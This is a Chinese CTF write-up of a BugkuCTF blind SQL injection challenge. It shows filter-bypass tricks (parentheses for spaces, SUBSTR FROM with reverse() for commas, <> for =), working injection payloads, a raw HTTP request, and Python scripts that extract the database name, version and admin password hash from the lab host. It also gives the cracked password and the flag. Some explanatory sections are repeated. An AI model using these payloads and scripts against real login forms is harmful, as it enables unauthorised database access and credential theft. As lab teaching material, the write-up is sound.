【SQL布尔盲注】 BugkuCTF SQL注入 WriteUp

本文最后更新于:2021年8月18日下午1点45分

前景知识:

绕过空格

首先解决空格问题

一般来说,有以下几种方法可以绕过空格

  1. 使用/**/

    1
    select/**/*/**/from/**/users;
  2. 使用括号()进行绕过

    1
    select(id)from(users);
  3. 使用回车%0a进行绕过

    1
    2
    3
    4
    5
    6
    mysql> select
    -> *
    -> from
    -> users
    -> where
    -> id = 1;
  4. 使用反引号`` `进行绕过

    1
    select`id`from`users`where`id`=1;

这道题目中,因为fuzz掉了`` /**/,所以使用括号()`进行绕过

绕过逗号

对于substr这个函数,由于需要有3个参数,中间需要用两个逗号隔开,看似没有解决办法,但是其实是有的

因为,substr这个函数还有另一个用法如下:

1
SUBSTR(string FROM start FOR length)

举个栗子就是:

1
2
3
4
substr(‘flag’ from 1)	返回:flag
substr(‘flag’ from 2) 返回:lag
substr(‘flag’ from 3) 返回:ag
substr(‘flag’ from 4) 返回:g

但是一般来说,进行sql注入的时候,substr函数一般只会截取一个字母,而使用substrfrom语法的时候,返回的字符串长度由from后面的数字以及原本字符串长度决定(对于这道题,for这个关键字被过滤了,所以没有办法直接控制长度)

利用reverse函数

这个时候结合reverse函数也可以爆数据库名称

1
2
3
4
substr((reverse(substr(‘flag’ from 1))) from 4 )	返回:f
substr((reverse(substr(‘flag’ from 2))) from 3 ) 返回:l
substr((reverse(substr(‘flag’ from 3))) from 2 ) 返回:a
substr((reverse(substr(‘flag’ from 4))) from 1 ) 返回:g

WP:

常规测试:

打开题目,是一个登录框

image-20210629185900549

先用adminadmin试一试

image-20210629185941010

显示密码错误

常规手段,先使用万能密码,admin' or 1=1 #admin

image-20210629190040318

提示有非法字符

使用字典fuzz一下,结果如下

image-20210629190153318

其中长度为1026的是提示有非法字符

长度为1023的是正常的,没有被过滤的

image-20210629190248871

其中被过滤的有=--+空格,/**/informationlike、`` `这些常用的

但是还是有挺多函数是没有被过滤的,比如substr这些

绕过空格

首先解决空格问题

一般来说,有以下几种方法可以绕过空格

  1. 使用/**/

    1
    select/**/*/**/from/**/users;
  2. 使用括号()进行绕过

    1
    select(id)from(users);
  3. 使用回车%0a进行绕过

    1
    2
    3
    4
    5
    6
    mysql> select
    -> *
    -> from
    -> users
    -> where
    -> id = 1;
  4. 使用反引号`` `进行绕过

    1
    select`id`from`users`where`id`=1;

这道题目中,因为fuzz掉了`` /**/,所以使用括号()`进行绕过

找出布尔注入的注入点

由于题目提示了使用布尔盲注,因此我们需要找出盲注的点在哪

这时候,输入a以及admin

image-20210629191230335

这个时候回显是username does not exist!

而前面在用户名中输入admin的时候,密码错误时,回显password error!

因此,可以利用这一点,进行布尔盲注

爆数据库长度

布尔盲注一般从爆数据库长度开始(即length(database())

先在用户名处注入:a'or(length(database())>0)#

image-20210629191531989

可以看到,回显了password error!

尝试a'or(length(database())>10)#

image-20210629192316512

回显username does not exist!

这里可以直接手工测试出来,暂时用不到脚本

最终测试出来是a'or(length(database())>7)#password error!

a'or(length(database())>8)#username does not exist!

所以当前数据库名称长度为8,即length(database())=8

爆数据库名称

当得知数据库长度为8时,接下来就需要爆数据库名称

一般来说:爆数据库名称的时候使用的都是substr函数,而这个函数的常规用法就是if(substr(database(),1,1)='a',1,0),说人话就是:如果数据库名称的第一个字母是a,那么if返回1,否则返回0

然鹅,这道题把逗号,还有等号=、引号'给过滤了

所以需要换一种方法去报数据库名称

绕过逗号

对于substr这个函数,由于需要有3个参数,中间需要用两个逗号隔开,看似没有解决办法,但是其实是有的

因为,substr这个函数还有另一个用法如下:

1
SUBSTR(string FROM start FOR length)

举个栗子就是:

1
2
3
4
substr(‘flag’ from 1)	返回:flag
substr(‘flag’ from 2) 返回:lag
substr(‘flag’ from 3) 返回:ag
substr(‘flag’ from 4) 返回:g

但是一般来说,进行sql注入的时候,substr函数一般只会截取一个字母,而使用substrfrom语法的时候,返回的字符串长度由from后面的数字以及原本字符串长度决定(对于这道题,for这个关键字被过滤了,所以没有办法直接控制长度)

利用reverse函数

这个时候结合reverse函数也可以爆数据库名称

1
2
3
4
substr((reverse(substr(‘flag’ from 1))) from 4 )	返回:f
substr((reverse(substr(‘flag’ from 2))) from 3 ) 返回:l
substr((reverse(substr(‘flag’ from 3))) from 2 ) 返回:a
substr((reverse(substr(‘flag’ from 4))) from 1 ) 返回:g

所以,结合以上这几点就可以得到以下payload

1
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>97)#

因为等号=被过滤了,所以就使用不等号<>,和等号反着来

当我们对用户名传入以下值时(即判断数据库名称的第一个字母是否为a

1
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>97)#

返回如下

image-20210629200221400

返回了password error!,证明数据库名称第一个字母不是a

证明推理如下:

or后面的条件如果为真,返回password error!,如果为假,返回username does not exist!

返回password error! = > 第一个字母不等于a

综上:当返回username does not exist!的时候,此时payload中的字母就是我们需要的字母

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

# payload: a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>97)#
dic = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_']
url = "http://114.67.246.176:19794/index.php"
ans = ""
for i in range(1 , 9):
j = 9 - i
for k in dic:
username = "a'or(ascii(substr(reverse(substr((database())from(" + str(i) + ")))from(" + str(j) + ")))<>" + str(ord(k)) + ")#"
data = {
"username" : username,
"password" : "admin"
}
res = requests.post( url , data=data)
if "username does not exist!" in res.text:
ans += k
print(ans)

运行结果:

image-20210629201713136

即:数据库名称为blindsql

爆数据库版本

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

# payload: a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>97)#
dic = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_','.']
url = "http://114.67.246.176:19794/index.php"
ans = ""
length = 0
for i in range(1 , 15):
#payload : a'or(length(version())>0)#
payload = "a'or(length(version())>" + str(i) + ")#"
data = {
"username": payload,
"password": "admin"
}
length_res = requests.post(url, data=data)
if "username does not exist!" in length_res.text:
print("length(version) = " + str(i))
length = i
break

for i in range(1 , length + 1):
j = length + 1 - i
for k in dic:
username = "a'or(ascii(substr(reverse(substr((version())from(" + str(i) + ")))from(" + str(j) + ")))<>" + str(ord(k)) + ")#"
data = {
"username" : username,
"password" : "admin"
}
res = requests.post( url , data=data)
if "username does not exist!" in res.text:
ans += k
print(ans)

运行结果如下:数据库版本为5.1.73

image-20210630194452131

爆数据表

这题过滤掉了information关键字,所以无法使用元数据的方法查表

并且数据库版本**<5.7**,所以也没有通过利用where语句的方式查表

那能怎么办?我也很无奈啊,那就只能跑字典了…

跑字典有以下3种payload,但是只有第三种是可行的,因为另外两种都被过滤了

1
a'or(exists(select(*)from(blindsql.test)))
1
a'or((blindsql.test)is(null))
1
2
a'or(length((select(group_concat(flag))from(blindsql.test)))>0)#
其中flag是字段名,test是表名

爆破的request如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php HTTP/1.1
Host: 114.67.246.176:19794
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Origin: http://114.67.246.176:19794
Connection: close
Referer: http://114.67.246.176:19794/index.php
Upgrade-Insecure-Requests: 1

username=a%27or%28length%28%28select%28group_concat%28password%29%29from%28blindsql.admin%29%29%29%3E0%29%23&password=admin

爆破结果如下:

image-20210630203210764

可以看到,数据表为:admin,字段名为password

爆内容

一般爆已知数据库、数据表、字段下的表,payload如下

1
2
(select group_concat(password) from security.users)
爆出security数据库中的users数据表中的password字段下的所有数据

所以对于这道题,payload为:

1
(select(group_concat(password))from(blindsql.admin))

爆破脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

# payload: a'or(ascii(substr(reverse(substr(((select(group_concat(password))from(blindsql.admin)))from(1)))from(8)))<>97)#
dic = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_']
url = "http://114.67.246.176:19794/index.php"
ans = ""

for i in range(1 , 33):
j = 33 - i
for k in dic:
username = "a'or(ascii(substr(reverse(substr(((select(group_concat(password))from(blindsql.admin)))from(" + str(i) + ")))from(" + str(j) + ")))<>" + str(ord(k)) + ")#"
data = {
"username" : username,
"password" : "admin"
}
res = requests.post( url , data=data)
if "username does not exist!" in res.text:
ans += k
print(ans)

爆破结果如下:

image-20210630204044488

得到密码为:4dcc88f8f1bc05e7c2ad1a60288481a2

md5解密后得到:密码为bugkuctf

image-20210630204137241

得到flag

flag为:flag{0783e3ac3572ace94fe026574e0d6c7a}

image-20210630204206386

参考资料: